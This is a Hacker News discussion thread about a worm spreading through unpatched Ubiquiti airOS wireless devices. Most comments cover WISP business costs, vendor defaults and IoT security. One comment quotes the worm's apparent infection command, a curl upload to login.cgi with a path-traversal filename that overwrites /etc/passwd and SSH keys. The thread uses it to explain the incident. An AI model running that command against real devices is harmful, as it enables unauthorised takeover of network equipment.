Worm going through unpatched Ubiquiti routers | Hacker News Reader

Worm going through unpatched Ubiquiti routers

community.ubnt.com

80 pointsmkj29 comments

If I were a subscriber to "one of the largest WISPs in Spain" ... I'd be a bit concerned right now. Wow.

To paraphrase: "It was working perfectly, so I didn't bother checking for security updates, for my over 3000 access points, for over a year. Oh yeah and of course I exposed the admin interface over public http instead of something secure."

WISP is a very hard business, so they can only survive by cutting corners. For many customers it's still worth it since they have no alternative.

Source please.

I would very much disagree. I've been involved in the operation of several WISPS over the last 15 years and it's been my observation that they are typically run by people who do not understand basic networking and don't have the mindset to do things securely, and since they are small enough, they get away with it. And they make a ton of money doing it.

Lets say I start a WISP in a typical Florida retirement community with 500 residential units.

50% penetration (because they don't have a choice) at $75/month per customer = $18,000/month.

Get a 1GB Level3 fiber for $7000/month(it can be had cheaper). 8 to 1 oversubscribe rate gives you about 30mb/s per customer.

Tower: $5000 Routers: $2500 Customer installation (Labor and equipment): Passed on to customer(about $200 each) Antennas and radios for tower: $2000 Operating labor $3000/month ( 1 person full time to do troubleshooting and support)

So we have less than $10,000 build out, with up to $50,000 in customer equipment purchase. And $10,000/month in operating costs. 6 month ROI on the initial expense (Shorter if you can get all 250 hooked up in the frist month) then $96,000/yr in your pocket, minus Uncle Sam's cut of course.

You could do the installs for free with a 1yr contract and still have a sub 12-month ROI

What part of WISP is expensive?

My source is mostly Brett Glass's rants; I'm not sure how much of a crackpot he is.

The concept of a suburban area that isn't already wired for DSL and/or cable sounds surprising to me. AFAIK WISPs are mostly in low-density rural areas which multiplies costs. I do get the impression that many WISPs are something like a hobby crossed with community service and aren't run professionally.

I'm in FL -- there are many many small communities like Saddlebags Lakes Resort[1] that do not have any broadband services at all. The local cable/DSL providers have not seen it prudent to bother to provide service. I can list at least 100 similar communities.

But you are correct many WISPs are in primarily rural areas, but then the costs are reduced if your customer base is reduced also, and you have the benefit of things like water towers, silos, etc... to use, often you can just give the owner of such structure free service in exchange for the use of it.

The toughest area for a WISP is a heavily wooded rural area.

Anywhere the ground is flat and trees are low or spares is a WISP paradise.

This guy's blog[2] is usually fairly interesting, though I think he's drank a little too much of the Mimosa kool-aid.

[1] http://www.saddlebaglakeresort.net/ (disclaimer: I am not involved in any way with the WISP that covers that area.)

[2] http://muniwireless.com/author/roryconaway/

Roughly speaking Brett Glass is to WISPs as Richard Stallman is to the modern open source ecosystem.

Maybe did some important things back in the day but for the past 10 years the situation has largely shifted from idealism to pragmatism.

Yes, there are a lot of WISPs that are run basically as a hobby. There are also a lot of WISPs (and more broadly xISPs) that do things professionally.

Some places have areas where the cable company has no mandate for universal service in a particular town (because dumb/corrupt politicians negotiating franchise agreements). So pulling cable means laying out some astronomical capital expense. One of my dad's friends lives about 30 minutes from the NY state capitol and would have to pay $15k for the privilege to pay $80/mo for 30/5 cable service.

Puts my dads friend in a tough place -- he's afraid that he won't be able to sell his home with only satellite internet as an option.

Also remember that it's 2016, and phone companies (cough Verizon) have no interest in providing phone service anymore. I looked into getting a backup DSL connection -- the POTS equipment here is so decrepit that the most Verizon would offer was 1.5/0.5 DSL for $50. And I live in a city, about 2 miles from the the big regional Verizon CO.

I opted for a TMobile hotspot instead.

I live in a neighborhood surrounded on all sides by Comcast. The Comcast hardline goes right by the entrance. They could pick up about 50 customers by stringing up 2500ft of cable, but they don't.

Luckily there is a very good WISP in the area that I currently have a 120mb/s connection from, but they do not like nor want do residential service. I was able to get my connection because of my relationship with the owners, but the rest of my neighborhood is not so lucky.

For areas such as dad's friend, check out the Connect America Fund[1] -- there are grants and funds available (after sufficient hoop-jumping of course) for lots of currently underserved areas. Getting a WISP to bite might be a challenge but could be worth investigating. Or start your own.

[1] https://www.fcc.gov/general/connect-america-fund-caf

Edit: added link oops

Very much a rosy financial analysis. First thing I'd say about this is that if you are paying $3k/mo (remember cost to employ someone >> their salary, so you are paying "bottom $" there), then you will certainly not have someone who has a deep and good understanding of network security. You have hence proven the parent's point.

Source: I run a small WISP in my copious spare time and have been involved in the WISP online scene since it began.

I agree I left out a lot of incidentals, but it wasn't meant to be an all-encompassing analysis, just some napkin numbers.

The $3000/month isn't for someone with a deep and good understanding of network security -- that should be you (the one making the $96k piece) -- it's for someone that can answer the phone, help people set their routers to DHCP, etc... $17/hr isn't bad pay(at least around here) for someone with basic network knowledge.

Also many places the bandwidth is cheaper, some it's more expensive, but, being a WISP, you might be in a position to pipe your bandwidth from somewhere cheap to where you are.

If your bandwidth isn't cheap, then you provide 10mb/s service instead of 30. While not considered actual broadband, it's plenty for gaming, netflix, most general web usage.

Exactly. We usually aim for a 10-month ROI and that's using higher-end Cambium radios (way better for ops at scale than something like Ubiquiti), Juniper network gear, batteries on everything, and proper telco circuits. We also have a few thousand subs so we get economies of scale on transport and transit.

(digression) There's a kind of WISP valley of death roughly between the hobby WISP (0-500 users) with a owner/operator and one or two employees, maybe running on business DOCSIS for upstream and Ubiquity and/or Mikrotik radios & routers and the professional carrier WISP (2-5k+ users) with biz people, experienced ops people, longhaul fiber or licensed microwave for backhaul, etc.

Small WISPs often can't afford the time or money to be proper (if they even have the experience to know what proper is) until they pass the valley of death. Many fall to bankruptcy or burnout trying to get past the valley.

That thread is hilarious. Leaving the ports open on the internet for managing these APs, fix was released a year ago and apparently it is UBNTs fault a large WISP has been infected? Wow.

Especially since they make such great hardware (with an acceptable price tag -- as a consumer).

I've had all sorts of problems with "normal" routers due to too many connections (too many devices on the LAN -- don't ask), I was never able to make full use of my 50/50 pipe.

I've recently been upgraded to 100/100 for free (and soon 300/100), and it's still running like a champ.

That being said, it was the first router that I wasn't able to configure just by clicking around.

But they're advancing greatly on the UX part with every firmware release, so it's actually friendly enough to recommend now.

I have a switch and APs. They do have weird bugs that you'd really don't expect from a networking company. They do fix the important ones eventually. Still good value for the price.

One example of a weird EdgeOS bug that affected their Edgerouter products:

http://community.ubnt.com/t5/EdgeMAX-Updates-Blog/EdgeMAX-Ed...

(During boot the router was working as pure ethernet switch - i.e. in a typical home deployment you would be wide open to the internet during this time.)

As far as I can tell, this was there for quite some time. In order to find the fix I had to find and read the user forums.

I also couldn't find either a security update email list or an automatic firmware update feature. I guess you're supposed to follow their forum if you care about security...

Well, while it is the fault of the WISP for not correcting this as soon as possible, one could still make the case that UBNT should ship with "good/secure" factory defaults.

Given what we know now (and this isn't the first time UBNT has had issues), it would be a reasonable thing to ask vendors to ship products without insecure out-of-the-box configurations.

I absolutely agree that it is a bad bad bad idea to have admin endpoints for your routers visible to the public internet, and that anyone with real responsibility for networks or infrastructure of any kind needs to know that. Moreover, no matter how much improvement there is in software quality, that will probably remain good advice--why not add an extra layer of protection?

On the other hand, it makes me sad as an industry that it's certain doom if you don't follow that kind of advice. Why don't we have simple web servers that offer secure admin interfaces that can be plugged in for various products? It's not as if the user interface for a router's configuration is bleeding edge technology.

Yeah, that. It's 2016 and secure embedded web servers still aren't a solved problem. That sucks.

>> Why don't we have simple web servers that offer secure admin interfaces that can be plugged in for various products?

Agreed

>> It's not as if the user interface for a router's configuration is bleeding edge technology.

Not sure I agree. Have you seen some of these modern interfaces? They are doing deep packet inspection, providing many different visualizations of usage, geo-location, captive portal, ... the feature list - and attack surface - is huge.

Hmm, am I confused about this? The devices themselves are sophisticated, but I thought they were compromised via an HTTP admin interface, which I (perhaps badly) assumed is a glorified couple of CRUD screens.

The headline is misleading, it's not the routers (EdgeOS) but the airMAX wireless sytems (airOS) affected.

Looks like this is the infection vector:

LD_LIBRARY_PATH=/etc/persistent/.mf/ ./curl -s -m 4 -F "file=@/etc/$wh;filename=../../etc/$to" -H "Expect:" "$ur/login.cgi" -k 2>/dev/null >/dev/null

.. is used to upload files onto the target system, in particular a passwd file and some ssh keys. After this, it'll ssh in easily because of the passwd/keys and extract a copy itself from a .tar and worm on.

So does that mean that "login.cgi" can be tricked into writing uploaded http files into /etc without authentication? Rough.

I am very surprised we don't hear about things like this more often. I have a full RCE on a consumer appliance I found essentially by mistake. Shodan says there are 1700 exposed on the Internet. And I have no idea what to do about it because 99% the manufacturer will not make an update, let alone people install it on something that "works".

IoT will be a slaughter.

What's the appliance? Most current consumer routers come with a backdoor called TR-069[0] that allows the ISP to provision and update the device. Recently other appliances than routers have started using the same protocol.

The session is initiated from the client, but if you can MITM it or compromise the provisioning server all bets are obviously off.

I have mixed feelings about TR-069, but don't see how devices can stay current without something like it.

0: https://en.wikipedia.org/wiki/TR-069

No, I'm talking about making a HTTP request to the device (ok, two or three, but no ninja stuff) -> getting a root shell. Not intended, but not really hard to find. And it's way less replaceable than a router, so I haven't found any better than to sit on it.

About TR-069, criminals don't do BGP hijacking to pop a few routers (yet?). Still, why the hell is that not encrypted. (I know why, it's just that I'm sad.)

Disclose to the vendor, wait 90-180 days, write a nice blog post.

See http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/ for one of my "favourites". I daren't push my $200 TP-Link too hard for fear of finding something like this.

having its http/https interface exposed to the Internet

Mistake #1. Never do this. If possible set it so that it's only accessible by the hard-wired ports, or if by radio at least only the local private subnet.

Cut the server hard line!

Of relevance: http://krebsonsecurity.com/2015/11/the-lingering-mess-from-d...

Reply on news.ycombinator.com